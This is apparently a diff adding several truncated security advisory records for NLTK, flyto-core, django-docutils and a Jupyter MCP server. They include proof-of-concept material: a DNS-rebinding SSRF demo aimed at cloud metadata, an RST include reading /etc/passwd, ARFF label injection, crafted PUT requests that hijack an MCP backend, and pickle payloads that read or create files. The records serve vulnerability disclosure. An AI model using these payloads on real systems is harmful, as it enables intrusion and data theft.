e521ecafc.","affected":[{"package":{"name":"nltk","ecosystem":"PyPI","purl":"pkg:pypi/nltk"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.10.4"}]}],"versions":["0.8","0.9","0.9.3","0.9.4","0.9.5","0.9.6","0.9.7","0.9.8","0.9.9","2.0.1","2.0.1rc1","2.0.1rc2-git","2.0.1rc3","2.0.1rc4","2.0.2","2.0.3","2.0.4","2.0.5","2.0b4","2.0b5","2.0b6","2.0b7","2.0b8","2.0b9","3.0.0","3.0.0b1","3.0.0b2","3.0.1","3.0.2","3.0.3","3.0.4","3.0.5","3.1","3.10.0","3.10.1","3.10.2","3.10.3","3.2","3.2.1","3.2.2","3.2.3","3.2.4","3.2.5","3.3","3.4","3.4.1","3.4.2","3.4.3","3.4.4","3.4.5","3.5","3.5b1","3.6","3.6.1","3.6.2","3.6.3","3.6.4","3.6.5","3.6.6","3.6.7","3.7","3.8","3.8.1","3.9","3.9.1","3.9.2","3.9.3","3.9.4","3.9b1"],"database_specific":{"last_known_affected_version_range":"<= 3.10.3","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-63wh-5r5m-wxr7/GHSA-63wh-5r5m-wxr7.json"}}],"references":[{"type":"WEB","url":"https://github.com/nltk/nltk/security/advisories/GHSA-63wh-5r5m-wxr7"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-129227"},{"type":"WEB","url":"https://github.com/nltk/nltk/pull/3885"},{"type":"WEB","url":"https://github.com/nltk/nltk/commit/ae4c5c900a81608026a43bd4ed17ff048c447c8c"},{"type":"PACKAGE","url":"https://github.com/nltk/nltk"},{"type":"WEB","url":"https://github.com/nltk/nltk/releases/tag/v3.10.4"}],"database_specific":{"cwe_ids":["CWE-674"],"github_reviewed":true,"github_reviewed_at":"2026-11-1Line truncated
|
||||
@@ -0,0 +1 @@
|
||||
{"schema_version":"1.9.2","id":"GHSA-6pm8-6f34-9v3g","published":"2026-11-20T00:11:24Z","modified":"2026-11-20T00:15:05.459159399Z","aliases":["CVE-2026-77316"],"summary":"Flyto2 Core: SSRF guard bypass via DNS rebinding (validate_url_ssrf resolves-then-connects without pinning)","details":"# [MEDIUM] SSRF guard bypass via DNS rebinding — validate_url_ssrf resolves-then-connects without pinning\n\n- **CWE:** CWE-918 (SSRF) / CWE-367 (TOCTOU).\n- **CVSS v3.1:** `AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:L/A:N` = **6.8 Medium** (AC:H — needs attacker-controlled DNS with a low/zero TTL and to flip the answer between the guard's lookup and the connection's lookup; S:C — reaches internal/metadata services the guard is meant to block; C:H — e.g. cloud metadata credentials at 169.254.169.254).\n- **Affected component:** `flyto-core` (PyPI `flyto-core`), HEAD `ae2b38e` (v2.26.7). `src/core/utils.py::validate_url_ssrf` (resolution at `getaddrinfo` ~L512, `is_private_ip` check ~L515) and every consumer: `guarded_aiohttp_request()`, `enforce_outbound_url()`/`validate_url_with_env_config()` — i.e. `http.get/request/batch`, `graphql.query/mutation`, `monitor.http_check`, `notification.{slack,discord,teams}`, `ai.vision_analyze`, `verify.visual_diff`, `browser.proxy_rotate`, etc.\n- **Relationship:** Incomplete hardening of the SSRF-guard family (**GHSA-pgwh-4jj4-qm8v**, **GHSA-c9hr-64h3-gxpc**, **GHSA-794r-5rp2-fpg8**/CVE-2026-55787). Those fixes added per-module coverage, redirect revalidation, and IPv6-transition range-checks — but none pins the resolved address, so the guard's resolve-then-connect gap defeats all of them.\n\n## Root cause\n`validate_url_ssrf()` resolves the hostname with `socket.getaddrinfo()` and rejects the URL if any resolved IP is private. It then returns the **URL string** (hostname intact). The caller (`guarded_aiohttp_request`: `validate_url_with_env_config(url)` then `session.request(method, url, ...)`) hands the hostname to aiohttp, which performs an **independent second DNS resolution** at connect time. The validated IP is never pinned for the connection, so an attacker whose authoritative DNS returns a public A record for the guard's lookup and a private/loopback/metadata address for the connection's lookup reaches internal space. aiohttp resolves via its own resolver, distinct from the guard's `socket.getaddrinfo`, so the two lookups are genuinely separate — one flip is sufficient.\n\n## Reachability\n1. Attacker controls DNS for `rebind.attacker.test` (TTL 0), and drives any guarded HTTP module with `url=http://rebind.attacker.test/` (recipe / MCP `execute_module`).\n2. Guard: `getaddrinfo` → public IP → `is_private_ip` false → **URL allowed**.\n3. Outbound request: aiohttp re-resolves `rebind.attacker.test` → attacker now answers `127.0.0.1` / `169.254.169.254` → connects to the internal target. Redirect revalidation (GHSA-c9hr) does not help — the initial hop already rebinds.\n\n## Executable PoC (benign, local; deterministic)\nThe attacker's TTL=0 flip is modelled by making `socket.getaddrinfo` return public on lookup #1 (the guard's) and loopback on later lookups (the connection's); a raw local TCP sentinel stands in for the internal service. No payload is sent.\n\n```python\n# (full source: findings/flyto-core/raw/poc_dns_rebinding.py)\n# guard sees resolution #1 (public) -> ALLOWS; connect re-resolves (127.0.0.1) -> hits sentinel\nvalidate_url_ssrf(\"http://rebind.attacker.test:8080/\") # ALLOWED\nsocket.create_connection((\"rebind.attacker.test\", 8080)) # lands on 127.0.0.1 sentinel\n```\n\nObserved output:\n```\n[guard] validate_url_ssrf ALLOWED http://rebind.attacker.test:8080/ (saw public 93.184.216.34 on resolution #1)\n[connect] outbound request re-resolved rebind.attacker.test -> 127.0.0.1 and reached the INTERNAL sentinel: True\nBUG CONFIRMED: guard passed but connection reached the private/internal IP (DNS rebinding, no IP pin)\n```\n\n## Adversarial re-read\n- **Is the getaddrinfo monkeypatch cheating?** No — it deterministically models an attacker's TTL=0 authoritative DNS returning different answers to two separate lookups. The code gap is real and unavoidable: `validate_url_with_env_config(url)` resolves once, then `session.request(url)` resolves again with no pin.\n- **Does aiohttp's DNS cache prevent it?** No — the guard's `socket.getaddrinfo` and aiohttp's resolver are independent; aiohttp caches its OWN (malicious) lookup, not the guard's.\n- **Does redirect revalidation (GHSA-c9hr) block it?** No — the first hop rebinds before any redirect.\n- **Multiple A records?** The guard loops all `getaddrinfo` results and rejects if any is private, so static multi-record does not bypass; only a time-of-use flip does.\n- Result: no concrete blocker. CONFIRMED (Medium; AC:H because it needs attacker DNS + a flip).\n\n## Remediation\nPin the validated address: resolve once, validate every returned IP, then **connect to the pinned IP** (not the hosLine truncated
|
||||
@@ -0,0 +1 @@
|
||||
{"schema_version":"1.9.2","id":"GHSA-86mf-q4h5-69gp","published":"2026-11-20T00:08:12Z","modified":"2026-11-20T00:15:05.528596589Z","aliases":["CVE-2026-59988"],"summary":"django-docutils unsafe Docutils defaults allow local file disclosure, SSRF, and stored XSS","details":"## Summary\n\ndjango-docutils before `0.30.0` rendered reStructuredText through Docutils without protected web-safe defaults. Public rendering paths, including `publish_doctree`, `publish_html_from_source`, `publish_html_from_doctree`, `publish_parts_from_doctree`, the `{% rst %}` template tag, the `rst` template filter, `DocutilsTemplates`, and `DocutilsView`, could process attacker-controlled RST with Docutils directives that read local files, fetch URL-backed content, or emit raw HTML.\n\nThe issue is fixed in `0.30.0` by disabling Docutils file insertion, raw directives, local `docutils.conf` processing, and unsafe URI schemes by default, and by sanitizing doctrees before HTML is emitted.\n\nApplications are affected when they render attacker-controlled or lower-trust RST through django-docutils without their own safe Docutils configuration. Applications that only render trusted static RST are not affected unless that content can be influenced by an attacker.\n\n## Impact\n\nAn attacker who can influence RST rendered by a vulnerable django-docutils integration may be able to read files readable by the Django worker process, trigger server-side requests through URL-backed directives, or inject raw HTML/JavaScript into rendered output.\n\nExamples of affected application patterns include comments, wiki pages, blog bodies, profile or biography fields, CMS fields, uploaded RST documents, API-supplied RST, or overridden view content methods that return user-supplied RST.\n\nPotential impact includes disclosure of application configuration, environment files, credentials, source files, templates, mounted secrets, and logs readable by the process. UI escaping after rendering is not sufficient for file disclosure because the server-side read occurs before HTML reaches the client.\n\n## Affected versions\n\nAffected package: `django-docutils` on PyPI\n\nAffected versions: `<= 0.29.0`\n\nPatched versions: `>= 0.30.0`\n\n## Technical details\n\nBefore `0.30.0`, django-docutils handed RST content to Docutils without forcing these web-safe settings:\n\n```python\n{\n \"file_insertion_enabled\": False,\n \"raw_enabled\": False,\n \"_disable_config\": True,\n}\n```\n\nDocutils treats file insertion and raw content as legitimate features for trusted documents. In a web application that renders lower-trust RST, those defaults can expose server-side data or emit attacker-controlled HTML unless the application disables the features.\n\nThe vulnerable behavior included:\n\n- `.. include:: <file>` reading local files\n- `.. include:: <url>` fetching URL-backed content server-side\n- `.. csv-table:: :file:` reading local files\n- `.. csv-table:: :url:` fetching URL-backed content server-side\n- `.. raw:: html` emitting unescaped HTML\n- `.. raw:: html :file:` reading and emitting file-backed raw content\n- local `docutils.conf` configuration re-enabling unsafe behavior\n\n## Proof of concept\n\nThis minimal harness uses the public `{% rst %}` template tag. On vulnerable versions, the include directive expands server-side and the raw directive emits unescaped HTML. On fixed versions, both directives are disabled under the default configuration.\n\n```python\nimport django\nfrom django.conf import settings\n\nsettings.configure(\n INSTALLED_APPS=[\"django_docutils\"],\n TEMPLATES=[{\n \"BACKEND\": \"django.template.backends.django.DjangoTemplates\",\n \"DIRS\": [], \"APP_DIRS\": False,\n \"OPTIONS\": {\"libraries\": {\"dj\": \"django_docutils.templatetags.django_docutils\"}},\n }],\n # DJANGO_DOCUTILS_LIB_RST intentionally unset == default install.\n)\ndjango.setup()\n\nfrom django.template import engines\n\ndj = engines[\"django\"]\n\ndef render_user_rst(rst: str) -> str:\n return dj.from_string(\"{% load dj %}{% rst content %}\").render({\"content\": rst})\n\nprint(render_user_rst(\".. include:: /etc/passwd\\n\"))\nprint(render_user_rst(\".. raw:: html\\n\\n <b>x</b>\\n\"))\n```\n\nExpected behavior on vulnerable releases such as `0.28.0` and `0.29.0`:\n\n```text\nThe include directive emits readable file contents.\nThe raw directive emits <b>x</b> as HTML.\n```\n\nExpected behavior on fixed releases such as `0.30.0` and later:\n\n```text\nThe include directive is disabled.\nThe raw directive is disabled.\n```\n\n## Remediation\n\nUpgrade to django-docutils `0.30.0` or later.\n\nFor trusted static RST that intentionally depends on unsafe Docutils features, opt in explicitly:\n\n```python\nDJANGO_DOCUTILS_LIB_RST = {\n \"allow_unsafe_docutils_settings\": True,\n \"docutils\": {\n \"raw_enabled\": True,\n \"file_insertion_enabled\": True,\n \"_disable_config\": False,\n },\n}\n```Line truncated
|
||||
@@ -0,0 +1 @@
|
||||
{"schema_version":"1.9.2","id":"GHSA-8846-p9w9-5frf","published":"2026-11-19T23:53:18Z","modified":"2026-11-20T00:00:05.085128997Z","aliases":["CVE-2026-129223"],"summary":"Natural Language Toolkit (NLTK): Uncontrolled recursion (crash DoS) in Synset.tree()/acyclic_tree() via WordNet relation traversal","details":"### Summary\nThe recursive traversal engines behind WordNetCorpusReader's Synset.tree() and Synset.acyclic_tree() have no maximum call-depth safeguard and default to unlimited depth. They guard against literal cycles, but not against a long, genuinely acyclic relation chain — which exhausts the Python call stack the same way as the sibling DependencyGraph finding I reported separately. Real-world exploitability requires the host application to load a custom/foreign WordNet-format lexical resource rather than NLTK's bundled default corpus — flagging that narrower scope honestly up front since it affects severity, not validity.\n\n### Details\n`nltk/util.py`'s `acyclic_depth_first()` (~lines 471-541) and `acyclic_branches_depth_first()` (~lines 544-625) recurse once per graph edge, default to `depth=-1` (\"unlimited\"), and guard against re-visiting the same node via an explicit `traversed` set (hence \"acyclic\") — but that set only prevents literal cycles, it never bounds how many *distinct* nodes a single call chain may pass through before returning.\n\n`Synset.tree(rel, depth=-1)` (`nltk/corpus/reader/wordnet.py`, ~line 664) calls the recursive `acyclic_branches_depth_first`. There is also a third, easy-to-miss method: `Synset.acyclic_tree()`, a vestigial class-attribute alias for `acyclic_depth_first` — also genuinely recursive and vulnerable.\n\n**Important correction to an earlier draft of this finding:** `Synset.closure(rel, depth=-1)` (~line 609) does **not** share this bug — it actually calls `acyclic_breadth_first()`, a completely different, iterative queue/deque-based function with no recursion at all. I verified this directly: feeding both `acyclic_breadth_first` and the real `Synset.closure()` a 20,000-node genuinely-acyclic chain produces zero crash, while `acyclic_depth_first`/`acyclic_branches_depth_first`/`Synset.tree()`/`Synset.acyclic_tree()` crash reliably at ~1000-1500 nodes on the identical data. Only `.tree()` and `.acyclic_tree()` are affected — not `.closure()`.\n\nThis is the same CWE-674 pattern already hardened elsewhere in the codebase (`MAX_TREE_DEPTH` in `tree/tree.py`, `MAX_DEPTH` in `featstruct.py`, `MAX_PARSE_DEPTH` in `logic.py`, `MAX_TABLEAU_DEPTH` in `tableau.py`, `MAX_DECODE_DEPTH` in `jsontags.py`, added by a commit whose message explicitly enumerates the sinks it covers) — but that hardening pass never reached `nltk/util.py` or `wordnet.py`.\n\n**Honest scope-limiting fact:** I exhaustively measured the maximum possible traversal depth across the entire official, bundled WordNet 3.0 corpus (what the overwhelming majority of real deployments use) for every relation NLTK exposes to `tree()`: hypernyms/hyponyms max depth = 18 (across all 74,374 noun synsets); `also_sees` (a relation whose graph isn't curated to stay as shallow as the taxonomy) max eccentricity = 41, largest connected component = 824 nodes; `similar_tos` max eccentricity = 1; entailments/causes/verb_groups/member_holonyms/member_meronyms/attributes all ≤ 11. Every one of these is roughly 25-60x below the ~1000-node crash threshold — there is no word or relation an attacker could pick against the standard bundled corpus that reaches anywhere near a crash. `nltk.app.wordnet_app`, NLTK's own bundled reference consumer, only ever calls `.tree()` with the safe hypernym relation.\n\nReal-world exploitability therefore strictly requires the host application to load a custom/foreign WordNet-format lexical resource — a legitimate, documented, `WordNetCorpusReader`-supported usage, but a comparatively uncommon one — and then call `.tree()`/`.acyclic_tree()` (not `.closure()`) with the default unbounded depth.\n\n### PoC\nGenerated a syntactically valid, minimal, real Princeton-WordNet-DB-format lexical database (`data.noun`/`index.noun`/`lexnames`/etc., with correct byte-offset-indexed synset records) encoding a 1500-node strictly-linear (genuinely acyclic) hypernym chain. Loaded it via the real, unmodified `WordNetCorpusReader(root, None)`, obtained a real `Synset`, and called the real, documented, public `synset.tree(lambda s: s.hypernyms())` — crashed with an uncaught `RecursionError: maximum recursion depth exceeded`, as did `synset.acyclic_tree(...)`. `synset.closure(...)` on the identical data returned cleanly (1499 nodes, no crash), confirming the closure()/tree() distinction above.\n\n### Impact\nAn application that loads a custom WordNet-format lexical resource (e.g. a domain-specific or community-contributed WordNet, which `WordNetCorpusReader` is explicitly designed to support) and calls `.tree()`/`.acyclic_tree()` with an attacker-influenced or simply not-officially-curLine truncated
|
||||
@@ -0,0 +1 @@
|
||||
{"schema_version":"1.9.2","id":"GHSA-9ffx-rrgx-mhgx","published":"2026-11-19T23:54:17Z","modified":"2026-11-20T00:00:05.081090140Z","aliases":["CVE-2026-129221"],"summary":"NLTK: ARFF_Formatter Injects Weka ARFF Schema Directives via Attacker-Controlled Class Labels","details":"## Description\n\n### Summary\n\n`nltk.classify.weka.ARFF_Formatter` writes class labels directly into the Weka ARFF `@ATTRIBUTE '-label-' {...}` declaration without any ARFF quoting or escaping. An attacker who can contribute class labels to a training dataset can include ARFF metacharacters such as `}`, newlines, `@ATTRIBUTE`, and `@DATA` to break out of the nominal label list and inject attacker‑controlled ARFF schema and data directives.\n\nThis vulnerability is reachable in any application that calls `WekaClassifier.train()` or `ARFF_Formatter.from_train()` with attacker‑influenced training data. The victim does not need to manually edit the ARFF file; the normal training workflow writes the malformed ARFF automatically.\n\n### Technical Details\n\nThe vulnerable code path is:\n\n1. `WekaClassifier.train()` calls `ARFF_Formatter.from_train(featuresets)`.\n2. `from_train()` extracts labels from the training data and passes them to `ARFF_Formatter(labels, features)`.\n3. `header_section()` uses `\",\".join(self._labels)` directly, embedding attacker‑controlled strings into the ARFF header without sanitization.\n\nBecause the label names are not escaped, a label containing `safe}\\n@ATTRIBUTE injected NUMERIC\\n@DATA\\n0,owned\\n%` will close the label set, inject a new attribute, start a premature data section, and comment out the remaining header.\n\n### Proof of Concept\n\nThe following self‑contained Python script demonstrates the vulnerability. It requires only NLTK and does **not** need Weka to be installed, because the attack is carried out purely by generating the ARFF string.\n\n```python\nfrom nltk.classify.weka import ARFF_Formatter\n\n# Attacker‑controlled label containing ARFF metacharacters.\n# The `}` closes the label set, the `@ATTRIBUTE` injects a new attribute,\n# `@DATA` starts the data section early, and `%` comments out the rest.\nmalicious_label = \"safe}\\n@ATTRIBUTE injected NUMERIC\\n@DATA\\n0,owned\\n%\"\n\nfeaturesets = [\n ({\"f\": \"benign\"}, \"legit\"), # legitimate example\n ({\"f\": \"payload\"}, malicious_label), # attacker's example\n]\n\n# NLTK builds the formatter from the training data\nformatter = ARFF_Formatter.from_train(featuresets)\n\n# Generate the ARFF string – this is what would be written to the training file\narff = formatter.format(featuresets)\n\n# Verify that the injection succeeded\nassert \"@ATTRIBUTE injected NUMERIC\" in arff, \"Injected attribute not found\"\nassert \"@DATA\\n0,owned\" in arff, \"Injected data row not found\"\n\nprint(\"=== Injected ARFF (excerpt) ===\")\nfor line in arff.splitlines()[5:12]:\n print(line)\n```\n\nExpected output:\n\n```\n=== Injected ARFF (excerpt) ===\n@ATTRIBUTE 'f' STRING\n@ATTRIBUTE '-label-' {legit,safe}\n@ATTRIBUTE injected NUMERIC\n@DATA\n0,owned\n%\n```\n\nExplanation of the injection:\n\n· The label safe} closes the nominal label set {legit,safe} prematurely.\n· The following lines (@ATTRIBUTE injected NUMERIC, @DATA, 0,owned) are then parsed as legitimate ARFF directives, not as part of the label name.\n· The % at the end comments out the remaining header lines that NLTK would have appended, preventing syntax errors.\n\nReferences\n\n· CWE-74: Improper Neutralization of Special Elements in Output Used by a Downstream Component\n· Huntr report https://huntr.com/bounties/bc7085e7-1caf-40c7-b406-a5099ce44072\n· Weka ARFF format documentation\n\n\n## Fix status (2026-09-28)\n\nStatus: MERGED on develop (unreleased; v3.10.3 of 2026-08-12 predates the fix).\n\nPR: #3768 \"Fix ARFF label injection in Weka classifier\" (ekaf), merged 2026-08-24, merge commit e0a857f52 on develop. Fix commit: 56031eabc. Defence in depth: 0e1d6bf87 (PR #3863, ARFF values formatted from their type rather than caller str/repr).\n\nProbe: nltk/test/unit/security_probes/ghsa_9ffx_rrgx_mhgx.py (added on #3768); verdict on develop 2fa3f48fe: FIXED (ARFF labels, values, and attribute names sanitized).\n\nRelease: none yet; no release tag contains 56031eabc.","affected":[{"package":{"name":"nltk","ecosystem":"PyPI","purl":"pkg:pypi/nltk"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.10.4"}]}],"versions":["0.8","0.9","0.9.3","0.9.4","0.9.5","0.9.6","0.9.7","0.9.8","0.9.9","2.0.1","2.0.1rc1","2.0.1rc2-git","2.0.1rc3","2.0.1rc4","2.0.2","2.0.3","2.0.4","2.0.5","2.0b4","2.0b5","2.0b6","2.0b7","2.0b8","2.0b9","3.0.0","3.0.0b1","3.0.0b2","3.0.1","3.0.2","3.0.3","3.0.4","3.0.5","3.1","3.10.0","3.10.1","3.10.2","3.10.3","3.2","3.2.1","3.2.2","3.2.3","3.2.4","3.2.5","3.3","3.4","3.4.1","3.4.2","3.4.3","3.4.4","3.4.5","3.5","3.5b1","3.6","3.6.1","3.6.2","3.6.3","3.6.4","3.6.5","3.6.6","3.6.7","3.7","3.8","3.8.1","3Line truncated
|
||||
@@ -0,0 +1 @@
|
||||
{"schema_version":"1.9.2","id":"GHSA-9x8x-crjq-g64h","published":"2026-11-20T00:12:51Z","modified":"2026-11-20T00:30:06.844720566Z","aliases":["CVE-2026-77359"],"summary":"Jupyter MCP Server: Browser DNS rebinding can hijack the Jupyter backend through management routes","details":"Standalone `streamable-http` mode in `datalayer/jupyter-mcp-server` rejects forged `Host` and `Origin` headers on `/mcp`, but custom management routes mounted on the same application do not get the same browser-origin protection. A malicious website can keep an attacker origin while its hostname resolves to `127.0.0.1` or a private target address, then send `PUT /api/connect` to replace the MCP server's active Jupyter backend. The route accepts the browser-shaped request and makes the server start a kernel client against attacker-controlled infrastructure.\n\nThe protected `/mcp` endpoint shows the intended browser-origin boundary. With `MCP_TOKEN` configured, `/mcp` rejects forged browser headers:\n\n```text\nPOST /mcp with Authorization: Bearer SCAN_MCP_TOKEN\nHost: attacker.example:8142\nOrigin: http://attacker.example:8142\n\nHTTP 421 Invalid Host header\n```\n\nThe vulnerable route is `jupyter_mcp_server/server.py:143-187`. It parses caller JSON, updates the active Jupyter backend configuration, resets `ServerContext`, and starts the kernel without applying the `/mcp` Host/Origin rejection to the custom route:\n\n```python\n@mcp.custom_route(\"/api/connect\", [\"PUT\"])\nasync def connect(request: Request):\n data = await request.json()\n\n document_runtime = DocumentRuntime(**data)\n\n set_config(\n provider=document_runtime.provider,\n runtime_url=document_runtime.runtime_url,\n runtime_id=document_runtime.runtime_id,\n runtime_token=document_runtime.runtime_token,\n document_url=document_runtime.document_url,\n document_id=document_runtime.document_id,\n document_token=document_runtime.document_token,\n allowed_jupyter_tools=document_runtime.allowed_jupyter_tools or \"notebook_run-all-cells,notebook_get-selected-cell\"\n )\n\n ServerContext.reset()\n\n try:\n __start_kernel()\n return JSONResponse({\"success\": True})\n```\n\n`/api/stop` is also state-changing and accepts the same browser-origin route shape:\n\n```python\n# jupyter_mcp_server/server.py:190-199\n@mcp.custom_route(\"/api/stop\", [\"DELETE\"])\nasync def stop(request: Request):\n try:\n current_notebook = notebook_manager.get_current_notebook() or \"default\"\n if current_notebook in notebook_manager:\n notebook_manager.remove_notebook(current_notebook)\n return JSONResponse({\"success\": True})\n```\n\n## Proof of concept\n\nRun the affected version with `MCP_TOKEN` configured:\n\n```bash\ngit clone https://github.com/datalayer/jupyter-mcp-server\ncd jupyter-mcp-server\ngit checkout 27b91e551d8bbca2da32c334f9f13267290ff815\npython3.12 -m venv .venv\n. .venv/bin/activate\npython -m pip install -e .\nMCP_TOKEN=SCAN_MCP_TOKEN python -m jupyter_mcp_server \\\n --transport streamable-http \\\n --start-new-runtime false \\\n --jupyterlab false \\\n --mcp-token SCAN_MCP_TOKEN \\\n --port 8083\n```\n\nFirst, show that `/mcp` rejects the browser-shaped request:\n\n```http\nPOST /mcp HTTP/1.1\nHost: attacker.example:8083\nOrigin: http://attacker.example:8083\nAuthorization: Bearer SCAN_MCP_TOKEN\nContent-Type: application/json\nAccept: application/json, text/event-stream\n\n{\"jsonrpc\":\"2.0\",\"id\":1,\"method\":\"initialize\",\"params\":{}}\n```\n\nObserved response:\n\n```http\nHTTP/1.1 421\nInvalid Host header\n```\n\nNow send the same browser-origin shape to the custom management route. In a browser DNS-rebinding attack, the attacker-controlled page keeps an attacker origin while the hostname resolves to `127.0.0.1` or the private MCP listener:\n\n```http\nPUT /api/connect HTTP/1.1\nHost: attacker.example:8083\nOrigin: http://attacker.example:8083\nContent-Type: application/json\n\n{\n \"provider\": \"jupyter\",\n \"runtime_url\": \"http://127.0.0.1:9183\",\n \"runtime_id\": \"\",\n \"runtime_token\": \"ATTACKER_TOKEN_REBIND\",\n \"document_url\": \"http://127.0.0.1:9183\",\n \"document_id\": \"demo.ipynb\",\n \"document_token\": \"ATTACKER_TOKEN_REBIND\"\n}\n```\n\nObserved response:\n\n```http\nHTTP/1.1 200 OK\ncontent-type: application/json\n\n{\"success\":true}\n```\n\nThe server log shows that `/api/connect` accepted the attacker-chosen backend despite the browser-origin headers:\n\n```text\nConnect endpoint received - runtime_url: 'http://127.0.0.1:9183',\ndocument_url: 'http://127.0.0.1:9183', provider: jupyter\nStarting the kernel client...\nDefault notebook kernel started successfully\n```\n\nWhen an attacker-controlled backend is listening on `127.0.0.1:9183`, it receives Jupyter API traffic from the MCP server:\n\n```text\nPOST /api/kernels\nAuthorization: Bearer ATTACKER_TOKEN_REBIND\n\nGET /api/kernels/fake-kernel/Line truncated
|
||||
@@ -0,0 +1 @@
|
||||
{"schema_version":"1.9.2","id":"GHSA-c59x-vh6j-3w8v","published":"2026-11-19T23:58:53Z","modified":"2026-11-20T00:15:05.394249179Z","aliases":["CVE-2026-128136"],"summary":"NLTK: AllowlistUnpickler does not deny numpy submodule-local file-I/O sinks","details":"### Summary\n\n`nltk.picklesec.allowlisted_pickle_load` keyed its denylist of dangerous globals by export name, so numpy's file-I/O callables that live in submodules and are not re-exported under `__module__ == \"numpy\"` were never matched. Under the broad `allowed_modules=(\"numpy\", \"scipy\", \"sklearn\")` allowance that `TransitionParser.parse(depgraphs, modelFile)` granted for model files, a crafted protocol 4 pickle could name `numpy.lib._npyio_impl.recfromtxt` (arbitrary file read, result returned to the caller of `allowlisted_pickle_load`) or `numpy.lib.format.open_memmap` (attacker-chosen file create), and the REDUCE opcode invoked them during the load.\n\n### Affected\n\nnltk >= 3.10.0 and <= 3.10.3 (the allowlisting unpickler and the `TransitionParser` model path); numpy must be installed.\n\n### Reproduction\n\nA pickle whose REDUCE names `numpy.lib._npyio_impl.recfromtxt` with a target path, loaded through `allowlisted_pickle_load(data, allowed_modules=(\"numpy\",))`, reads that file on v3.10.3; one naming `numpy.lib.format.open_memmap` with mode `w+` creates a file. Both are refused on develop with `UnpicklingError: global '...' is from a denied module`. The maintainer transcript below shows the before and after runs.\n\n### Impact\n\nFile read and file create on the host that loads an untrusted model through NLTK's allowlisting unpickler. No code execution: this sits below the `TransitionParser` code-execution sibling GHSA-m396-3h67-vpfv, which is why the severity was reassessed to Medium (see the reply below).\n\n_Editorial note (2026-10-10): the report body of this advisory had been overwritten with the text of GHSA-rv69-j573-cm47 (the nested gzip decompression bomb). The summary above was reconstructed by the maintainers from the title, the maintainer reply, the CVSS justification and PR #3757; the original reporter text is not recoverable from the record._\n\n---\n\n## Fix status (2026-09-28)\n\nStatus: MERGED on develop (unreleased; v3.10.3 of 2026-08-12 predates the fix).\n\nPR: #3778 \"Bound decompression entry points in nltk (zip/gzip layers + pathsec.ZipFile + weka), CWE-409\", merged 2026-08-25, merge commit 42d99b7a2 on develop. Fix commits: b6e0cedca (the nested gzip layer of a zip .gz member is bounded) and c6fe98211 (the decompression guards stream instead of buffering whole payloads).\n\nProbe: none. The advisory PoC re-run on develop 2fa3f48fe (256 MiB of zeros gzipped into a STORED zip member declared at about 256 KiB, read through nltk.data.find().open().read()): refused with ValueError \"Refusing to decompress suspected gzip bomb 'corpus/bomb.gz': it expands beyond nltk.data.MAX_UNZIP_RATIO=1000\".\n\nRelease: none yet; no release tag contains b6e0cedca.\n\n\n---\n\n## Maintainer reply (2026-09-28)\n\nStatus: fixed on develop, unreleased.\n\n### Fix verified\n\nThe numpy submodule file I/O sinks named in this report are denied on develop. This is fixed by PR #3757 (\"Harden untrusted-model pickle allowlist (exact globals + numpy.lib denylist)\"), merged into develop on 2026-08-20 as merge commit 628ebd2fa1b81d961edb6eff6b2eddd9d64588ba. The fix commit is a44a7af69bca87e92d9c4a701fcbbe4512e8d450 and the regression tests are in fb8da992b7b2ad082c69d2618ae2ac1c90c6b8b8.\n\nWhat the fix does. In nltk/picklesec.py the denylist no longer keys numpy sinks by export name; it now denies whole module prefixes. `_DENIED_MODULE_PREFIXES` gained `numpy.lib`, `numpy.rec`, `numpy.core.records`, `numpy._core.records`, `numpy.ma.mrecords` and `numpy.compat`, so `numpy.lib.npyio`, `numpy.lib._npyio_impl` and `numpy.lib.format` resolve inside a denied prefix and are refused under both request forms (the submodule module string and any top level re-export). In nltk/parse/transitionparser.py the model load no longer grants a broad `allowed_modules=(\"numpy\",\"scipy\",\"sklearn\")`; it now uses `allowed_modules=()` plus an exact `_MODEL_ALLOWED_GLOBALS` list, and the model read is routed through `pathsec.open`.\n\n### Before and after evidence\n\nReproduced the report's own primitives with a protocol 4 REDUCE payload for `numpy.lib._npyio_impl.recfromtxt` (arbitrary file read) and `numpy.lib.format.open_memmap` (arbitrary file create), loaded through `allowlisted_pickle_load(allowed_modules=(\"numpy\",\"scipy\",\"sklearn\"))`, and also driven through the real `TransitionParser.parse` product path. Judged by whether the sink actually touched a file, not by whether something raised. Interpreter: `env -u PYTHONPATH /usr/local/bin/python3.13`, CPython 3.13.7, numpy 2.4.4, scipy 1.18.1, sklearn 1.9.0.\n\nBefore the fix, on release tag v3.10.3 (303f6e2ba), nltk 3.10.3:\n\n```\n[READ ] recfromtxt sink reached = True returned [[1, 2, 3], [4, Line truncated
|
||||
@@ -0,0 +1 @@
|
||||
{"schema_version":"1.9.2","id":"GHSA-cc5r-64rf-75hg","published":"2026-11-19T23:46:54Z","modified":"2026-11-20T00:00:04.076335739Z","aliases":["CVE-2026-129234"],"summary":"NLTK: Untrusted search path in prover9/mace4 config allows local code execution via relative binary_location","details":"## Summary\n`Prover9Parent.config_prover9(binary_location=...)` (and `Mace`, which inherits it) accepts a relative `binary_location` and passes it as `path_to_bin` to `find_binary`, which disables the CWD-relative rejection guard. Unlike the boxer/senna/malt/repp siblings, prover9/mace apply no `os.path.isabs()` filter, so the resolved relative program path (e.g. `./prover9`) is executed from the current working directory via `subprocess.Popen`. A local attacker who can plant `./prover9` (or `./mace4`) in the resolved directory achieves local code execution.\n\n## Root Cause\n`nltk/inference/prover9.py:121-135` calls `find_binary(name, path_to_bin=binary_location, env_vars=[\"PROVER9\"], ...)`. A truthy `path_to_bin` sets `searching_bare_name = not path_to_bin and ...` → False (`internals.py:935`), so the guard `if searching_bare_name and not os.path.isabs(path): continue` (`internals.py:940`) never runs. The result is stored in `self._prover9_bin`; on the next `prove()`, `_call` → `subprocess.Popen([binary]+args, ...)` (`prover9.py:207`) execs it. `Mace(Prover9Parent)` inherits `config_prover9` (`mace.py:229`). By contrast boxer's `_find_binary` (`sem/boxer.py:251-266`) iterates `find_binary_iter` and returns only the first `os.path.isabs()` result; repp/malt/senna similarly reject a relative explicit bin dir. prover9/mace have no such filter.\n\n## Impact\nLocal arbitrary code execution: an attacker-planted `./prover9`/`./mace4` runs as the invoking user when the application is configured with a relative `binary_location` and the attacker can write to the 